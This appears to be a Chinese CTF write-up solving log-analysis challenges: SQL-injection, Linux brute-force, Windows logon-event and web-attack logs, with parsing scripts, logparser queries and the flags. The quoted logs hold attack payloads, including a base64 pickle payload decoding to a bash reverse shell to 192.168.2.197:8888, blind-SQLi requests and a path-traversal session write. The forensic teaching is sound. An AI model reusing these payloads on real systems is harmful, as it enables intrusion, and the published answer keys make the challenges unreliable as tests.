0x00 赛题
下载就完事了
链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 提取码:haek 目录结构 LearnCTF ├───LogAnalize │ ├───linux简单日志分析 │ │ linux-log_2.zip │ │ │ ├───misc日志分析 │ │ access.log │ │ │ ├───misc简单日志分析 │ │ app.log │ │ │ ├───sql注入分析 │ │ SQL.zip │ │ │ └───windows日志分析 │ security-testlog_2.zip │ └───TrafficAnalize ├───ios │ ios.zip │ └───webshell hack.pcap 本篇题目在LogAnalize目录中
0x01 sql注入分析
题目
access.log
0x0101sql注入分析1
小明的网站被人注入了,还好有日志,请你帮他分析分析,利用附件回答sql注入分析1-3
sql注入分析-1: 黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)
布尔盲注
观察,发现攻击者在爆数据库,通过页面回显判断注入值是否正确,为布尔盲注
0x0102sql注入分析2
sql注入分析-2: 黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column)
简单,到后面看一眼,比如
172.17.0.1 - - [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),43,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 478 "-" "python-requests/2.26.0"
不难看出字段名flag,表名flag,库名sqli
0x0103sql注入分析3
sql注入分析-3: 黑客最后获取到的flag字符串为_____________。
繁琐,到后面看每一位的值,也可用脚本
flag{deddcd67-bcfd-487e-b940-1217e668c7db}
参考
https://blog.csdn.net/weixin_46245411/article/details/120304208
0x02linux简单日志分析
题目
linux-log.zip
0x0201linux简单日志分析1
分析下列Linux日志,回答后续问题
1、有多少个IP在暴破主机root的账号(提交失败次数大于等于10次的总IP数)
比如10个ip,则提交flag{10}
若行中出现"Failed password for root",考虑ip在爆破主机
would_str = "Failed password for root" filename = 'secure' ip_dic = {} with open(filename) as file: for line in file: if would_str in line: ip = line.split('from')[1].split(' ')[1] if ip in ip_dic: ip_dic[ip] += 1 else: ip_dic[ip] = 1 for (ip, count) in ip_dic.items(): if count >= 10: print('ip: ',ip + ' count: ',count) else: continue print("main done") # ip: 154.221.19.251 count: 50 # ip: 117.141.131.196 count: 16 # ip: 117.140.151.35 count: 10 # flag{3} # https://zhuanlan.zhihu.com/p/529247465
把4个日志跑一下,得到正在爆破主机的ip
0x0202linux简单日志分析2
2、登录成功的IP有多少个?
如果有10个,则提交flag{10}
若行中出现’Accepted ',考虑ip登录成功
用脚本跑一跑,即可
target_str = 'Accepted ' file_name = 'secure-20221113' success_ip_dic = {} with open(file_name,'r') as file: for line in file: if target_str in line: temp = line.split('from') temp1 = temp[1].split(' ') ip = line.split('from')[1].split(' ')[1] # print('ip:',ip) if ip in success_ip_dic: success_ip_dic[ip]+=1 else: success_ip_dic[ip]=1 for (ip,count) in success_ip_dic.items(): print('ip',ip,'count:',count) count_success = 0 for (ip,count) in success_ip_dic.items(): count_success += 1 print('success_ip: ',count_success) print('all done') # secure # ip 112.36.235.161 count: 4 # 1023 # ip 114.245.81.201 count: 2 # success_ip: 1 # 1030 # ip 114.245.81.201 count: 1 # success_ip: 1 # 1106 # ip 114.245.81.201 count: 2 # success_ip: 1 # 1113 # ip 117.141.131.196 count: 5 # ip 219.232.77.33 count: 3 # ip 39.144.135.249 count: 2 # success_ip: 3 # flag{5}
0x03 windows 日志分析
题目
security-testlog.zip
工具
logparser
0x0301 windows 日志分析1
请帮忙分析我的Windows,Security日志,回答Windows日志分析相关问题
1、一共有哪些登陆形式访问了我的电脑?
例如,一共有1,7,10三种logontype登陆,则提交:
1:7:10 使用:分隔,按数字顺序排列
查询语句
logparser -i:evt -o:datagrid "SELECT distinct EXTRACT_TOKEN(Strings, 8, '|') AS LogonType FROM <盘符>:<.evtx文件路径> WHERE EventID = 4624"
.evtx后缀文件也可用windows的事件查看器打开
题目问登录的logontype
首先筛选登录成功的事件,事件号为4624
<EventData> <Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">DESKTOP-5VLO0JB$</Data> <Data Name="SubjectDomainName">WORKGROUP</Data> <Data Name="SubjectLogonId">0x3e7</Data> <Data Name="TargetUserSid">S-1-5-18</Data> <Data Name="TargetUserName">SYSTEM</Data> <Data Name="TargetDomainName">NT AUTHORITY</Data> <Data Name="TargetLogonId">0x3e7</Data> <Data Name="LogonType">5</Data>
xml视图中,LogonType在EventData标签中,想要找到LogonType需要使用EXTRACT_TOKEN(Strings, 8, '|')
(索引以0开始,LogonType的索引为8)
如图,可以看到LogonType
0x0302 windows 日志分析2
2021年最后一次远程登陆的时间是?
提交形式如: 2021-09-30-12:30:05
远程登录的事件号是4648
还是用logparser写查询语句,还可使用windows自带的事件查看器筛选。事件查看器有GUI页面,傻瓜式使用
logparser -i:evt -o:datagrid "select timegenerated from <盘符>:<路径> where EventID = 4648 and to_date(timegenerated) between timestamp('2021-01-01','yyyy-mm-dd') and timestamp('2022-01-01','yyyy-mm-dd')"
如图,可以观察到2021年最后一次远程登陆的时间
0x04CTF Misc
陇剑杯中的Misc题目,其中包含了日志分析的内容
简单日志分析
题目
app.log
简单日志分析1
日志很简单,分析试试,回答简单日志分析1-3 简单日志分析-1: 黑客攻击的参数是______。(如有字母请全部使用小写)
那就找攻击参数
行 89: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGcwCmxwMgowKEkwCnRwMwowKGczCkkwCmRwNAowY29zCnN5c3RlbQpwNQowZzUKKGcxCnRSLg== HTTP/1.1" 500 - 行 207: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu HTTP/1.1" 500 - 行 234: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= HTTP/1.1" 500 -
通过观察,发现攻击参数是user
简单日志分析2
简单日志分析-2: 黑客查看的秘密文件的绝对路径是_____________。
使用base64解密攻击载荷
STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu decode of base64 0S'cat /Th4s_IS_VERY_Import_Fi1e'
即可看到文件的绝对路径
简单日志分析3
简单日志分析-3: 黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)
还是用base64解
STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= decode of base64 https://base64.us/ 0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'
即可看到ip和端口
0x05日志分析
题目
access.log
日志分析1
小明的网站又又又被攻击了,快来帮帮他。 依照附件解答:日志分析1-3 日志分析-1: 网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
推测攻击者在网站中下载到了源码,源码的文件格式应当无法被服务器解析,所以攻击者访问文件路径,服务器直接让攻击者下载文件
在日志中所有的200状态中,发现/www%2ezip
文件被成功访问,%2e
是url编码的.
,即可推测泄露的源码时www.zip
日志分析2
日志分析-2: 分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。
找到疑似路径的访问记录
172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0" 172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0" Decode of URL: 172.17.0.1 - - [07/Aug/2021:01:38:20 0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0" 172.17.0.1 - - [07/Aug/2021:01:38:21 0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
文件名sess_car
日志分析3
日志分析-3: 分析攻击流量,黑客使用的是______类读取了秘密文件。
有点反序列化内感觉
SplFileObject类
参考文章
https://blog.csdn.net/weixin_46245411/article/details/120304208
https://www.cnblogs.com/hetianlab/p/15061694.html
https://www.secpulse.com/archives/163339.html
https://lca.xlog.app/Windows-XML-shi-jian-ri-zhi-EVTX-jie-xi?locale=zh